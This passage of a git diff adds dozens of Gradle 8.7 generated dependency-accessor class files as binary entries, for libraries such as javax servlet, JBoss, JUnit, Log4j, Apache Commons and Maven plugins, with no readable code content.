b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxLibraryAccessors.class new file mode 100644 index 0000000..20c2b28 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletLibraryAccessors.class new file mode 100644 index 0000000..2f7ebae Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletVersionAccessors.class new file mode 100644 index 0000000..8305b6b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxServletVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxVersionAccessors.class new file mode 100644 index 0000000..9d1b278 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletJavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletLibraryAccessors.class new file mode 100644 index 0000000..1b306d0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletVersionAccessors.class new file mode 100644 index 0000000..d370436 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxServletVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxVersionAccessors.class new file mode 100644 index 0000000..bfc9879 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxLibraryAccessors.class new file mode 100644 index 0000000..d63fefe Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxVersionAccessors.class new file mode 100644 index 0000000..d230cd1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketLibraryAccessors.class new file mode 100644 index 0000000..ebc3b7e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketVersionAccessors.class new file mode 100644 index 0000000..a5e188a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketJavaxWebsocketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketLibraryAccessors.class new file mode 100644 index 0000000..f95e89c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketVersionAccessors.class new file mode 100644 index 0000000..49a2f5b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxWebsocketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossLibraryAccessors.class new file mode 100644 index 0000000..33e1400 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossVersionAccessors.class new file mode 100644 index 0000000..2a0a117 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossLibraryAccessors.class new file mode 100644 index 0000000..cd558d8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossVersionAccessors.class new file mode 100644 index 0000000..7b244d6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitLibraryAccessors.class new file mode 100644 index 0000000..5daaba6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitVersionAccessors.class new file mode 100644 index 0000000..8ceac60 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JunitVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahLibraryAccessors.class new file mode 100644 index 0000000..a9c5422 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahVersionAccessors.class new file mode 100644 index 0000000..f439c17 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetJodahVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetLibraryAccessors.class new file mode 100644 index 0000000..64fc877 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonLibraryAccessors.class new file mode 100644 index 0000000..8329171 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonVersionAccessors.class new file mode 100644 index 0000000..8df610a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibJsonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibLibraryAccessors.class new file mode 100644 index 0000000..0030d94 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibVersionAccessors.class new file mode 100644 index 0000000..c923d24 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibraryAccessors.class new file mode 100644 index 0000000..607d006 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonVersionAccessors.class new file mode 100644 index 0000000..3aa34cc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfJsonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfLibraryAccessors.class new file mode 100644 index 0000000..c6b069f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfVersionAccessors.class new file mode 100644 index 0000000..a268a0c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetSfVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetVersionAccessors.class new file mode 100644 index 0000000..80afce7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$NetVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickLibraryAccessors.class new file mode 100644 index 0000000..d289273 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickVersionAccessors.class new file mode 100644 index 0000000..e2e22d9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickClickVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickLibraryAccessors.class new file mode 100644 index 0000000..cd1ccf5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickVersionAccessors.class new file mode 100644 index 0000000..07a64d3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheClickVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsLibraryAccessors.class new file mode 100644 index 0000000..4d8d352 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsVersionAccessors.class new file mode 100644 index 0000000..fd5f5f9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsLibraryAccessors.class new file mode 100644 index 0000000..d98a0be Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsVersionAccessors.class new file mode 100644 index 0000000..bd5e05b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLibraryAccessors.class new file mode 100644 index 0000000..7145300 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLibraryAccessors.class new file mode 100644 index 0000000..2c9e3fd Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLibraryAccessors.class new file mode 100644 index 0000000..67d5288 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jLibraryAccessors.class new file mode 100644 index 0000000..0e5cf03 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jVersionAccessors.class new file mode 100644 index 0000000..56f6bd6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jLog4jVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jVersionAccessors.class new file mode 100644 index 0000000..0e49891 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingLog4jVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingVersionAccessors.class new file mode 100644 index 0000000..7413211 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheLoggingVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenLibraryAccessors.class new file mode 100644 index 0000000..d667788 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsLibraryAccessors.class new file mode 100644 index 0000000..8034c8a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class new file mode 100644 index 0000000..fc74cb8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class new file mode 100644 index 0000000..a892131 Binary files /dev/null and 